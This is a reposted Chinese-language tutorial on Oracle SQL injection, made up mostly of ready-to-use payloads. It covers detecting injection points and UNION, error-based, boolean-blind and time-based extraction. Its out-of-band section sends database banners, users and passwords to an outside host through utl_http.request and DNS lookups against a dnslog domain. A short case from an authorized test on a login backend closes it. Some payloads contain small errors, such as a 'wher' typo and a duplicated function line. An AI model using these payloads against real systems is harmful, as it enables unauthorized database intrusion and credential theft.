0x01 寻找并判断注入点
注意:避免使用 and 1=1
这样的测试语句
数字型:
数字型的注入,和其他类型数据库时都一样,自己构造加减乘除
的条件来判断注入
Payload:
# 通过 <> 来判断
?id=1'+and+1<>2--+ #返回为真 页面正常
?id=1'+and+1<>1--+ #返回为假 页面异常
#通过 加减法来判断
?id=1 #返回id,为1的内容
?id=2-1 #返回为1的内容
#通过数据库报错来判断
?id=1 #返回为正常
?id=1/0 #返回异常
# 通过注释符来判断(多行注释:/**/,单行注释:--)
?id=1 #返回为正常
?id=1/*loecho*/ #也返回正常
?id=1 #返回为正常
?id=1--loecho #也返回正常
字符型
字符型注入相对数字型来说,会存在闭合一些数据引用符号的问题,例如语句通过'
闭合语句后,后续就要通过单行注释符来注释剩下的单引号,其他情况也是如此
Payload:
#通过<>来判断
?name=loecho'+and+1<>6--+ #返回正常
?name=loecho'+and+1<>1--+ #返回异常
#使用字符串拼接符’||’,通过判断拼接符是否执行,从而判断是否存在注入
?name=lo'||'echo #返回正常
?name=lo'||'haha #返回异常
0x02 利用并且查询数据
01. 联合查询
即利用union select将想要查询的数据显示在页面上,构造正常语句,成功执行SQL语句查询数据
- 具体步骤如下:
# 01.先判断列数,同Mysql一样
?id=1'+order+by+4--+ #返回正常
?id=1'+order+by+5--+ #提示报错
得出结论数据为: 5 列
# 02.然后对每一列的数据类型进行判断(可以使用null代替某些无法快速猜测出数据类型的位置),先默认每一列均为null,然后从第一列开始依次将null改为字符串,如果报错则说明该列是数字型,否则则是字符型。,同Mysql一样
?id=1'+union+select+user+null+null+null+from+dual--+ #查询当前用户名
以此类推
# 03. 利用select table_name from user_tables where rownum=1获取表名(列名table数据同理):
select column_name from user_tab_columns where table_name='TB_USER' and rownum=1(获取列名)
select USER_ID from TB_USER where USER_ID=1 and rownum=1(获取数据)
03. 报错注入
构造报错语句,通过数据库报错来带出我们要查询的数据,常用的报错函数包括
- XMLType()
-
# 中间为查询语句
upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62)))
-
- dbms_xdb_version.checkin()
-
# 中间为查询语句
upper(dbms_xdb_version.checkin((select user from dual)))
-
- ctxsys.drithsx.sn()
-
# 中间为查询内容
upper(dbms_xdb_version.checkin((select user from dual)))
-
- ordsys.ord_dicom.getmappingxpath()
-
# 中间为查询内容
ordsys.ord_dicom.getmappingxpath(user,user,user)
-
- dbms_utility.sqlid_to_sqlhash()
-
# 中间为查询内容
dbms_utility.sqlid_to_sqlhash((select user from dual)
-
02.OOB外带数据
通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击
- HTTP 请求外带数据
-
and utl_http.request('http://ip:port/'||(select banner from sys.v_$version where rownum=1))=1-- 查询指纹版
and utl_http.request('http://ip:port/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 -- 查询环境
and%20 utl_http.request('http://ip:port/'%7c%7c (select user from dual))=1-- 查询当前用户
and%20%20utl_http.request(%27http://ip:port/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--查询具体内容and utl_http.request('http://ip:port/'||(select TABLE_NAME from all_tables where rownum=1))=1-- 查询所有数据表名
select name from v$database;
select instance_name from v$instance;
1.查询所有数据库
由于Oralce没有库名,只有表空间,所以Oracle没有提供数据库名称查询支持,只提供了表空间名称查询。
select * from v$tablespace;--查询表空间(需要一定权限)2.查询当前数据库中所有表名
select * from user_tables;
3.查询指定表中的所有字段名
select column_name from user_tab_columns where table_name = 'table_name';
4.查询指定表中的所有字段名和字段类型select column_name, data_type from user_tab_columns where table_name = 'table_name';
-
- DSNlog请求外带数据
-
- UTL_HTTP.REQUEST
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL;
- DBMS_LDAP.INIT
select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.dnslog',80) FROM sys.DUAL;
- HTTPURITYPEselect name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.dnslog').GETCLOB() FROM sys.DUAL;
- UTL_INADDR.GET_HOST_ADDRESS
select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL;
-
03. 基于布尔值的盲注
通过构造不同条件,返回返回页面的不同,就形成了Bool值的注入
- 通过 substr() decode() 函数的盲注(常用)
# 按位截取数据,Bp俩个标记:第一个为截取位数,第二个为:所有字符:
and+1=(select+decode(substr((select user from dual),§1§,1),'§S§',(1),0) from dual)--+ #查 user
and+1=(select decode(substr((select banner from sys.v_$version wher rownum=1),1 ,1),'S',(1),0) from dual)--+ # 查version
and+1=(select decode(substr((select table_name from user_tables where rownum=1),§1§,1),'§S§',(1),0) from dual)--+ # 查表名
- 通过 case、substr()、ascii() 函数的盲注
# 按位截取数据,Bp俩个标记:第一个为:截取位数 第二个为:所有可见字符的ASCII码(32~126):
123=(case when ascii(substr(user,§0§,1))=§121§ then '123' else '456' end)--+
- 通过 case、instr()、chr() 函数的盲注
# 按位截取数据,Bp俩个标记:第一个为:所有可见字符的ASCII码(32~126): 第二个,第三个为:值相同为截取位数
123=(case instr(user,chr(§*§),§*§,1) when §*§ then '123' else '456' end)--+
还有其他方式来利用,配合函数,不同环境不同用法
03 .基于时间的盲注
时间盲注,基于服务器返回所用的时间,判断函数是否执行,从而判断是否存在注入
-
Decode()、DBMS_PIPE.receive_message()、chr()、substr()利用
# 按位截取数据,Bp俩个标记:第一个为:截取位数 第二个为:所有可见字符的ASCII码(32~126):
'||decode(substr(user,§*§,1),chr(§*§),DBMS_PIPE.receive_message('sen',1),2)||' #查user
0x03 实际案例分析
某次授权测试,某小程序后端在检查登录时,存在Oracle注入漏洞,注入类型为基于布尔类型的注入
- 过滤空格,Json包注入,抓包标记注入点
- 因为Sqlmap对于页面差异小布尔判断不准确,所以注入时加上以下任一参数,配合Tamper脚本即可注入成功:
--string=STRING 查询时有效时在页面匹配字符串 --not-string=NOT.. 当查询求值为无效时匹配的字符串
1.或者通过国产的一个工具:超级SQL注入工具标记好数据包以及布尔变换和空格替换,都可以成功
手工判断真假,不同的回显:
- 由此构造条件来查询数据,查看当前数据库版本,结果如下
Paylaod:
{"tel":"18848888888/**/and/**/1=(select/**/decode(substr((select/**/banner/**/from/**/sys.v_$version/**/where/**/rownum=1),1 ,1),'S',(1),0)/**/from/**/dual)"}
0x04 : 想法
- 实际测试中,随着框架的成熟,网站直接交互存在注入的概率不是很大,着重测试一些微应用的后端交互,或者后端API
- 只要自己成功判断后端执行了我们拼接的SQL语句,就是存在问题,配合数据库特性
1/0
也是可以的 - 搜索处,表单的提交,各类刁钻的地方,只要猜测后端有交互的,都可以测试,会有惊喜!
- Oracle注入相对于其他数据库,命令执行的方式就多了很多,如果权限够高数据库版本符合,就可以构造命令执行等一些操作,后续再补充
记录好的文章,该文章转载为:t00ls 的用户 loecho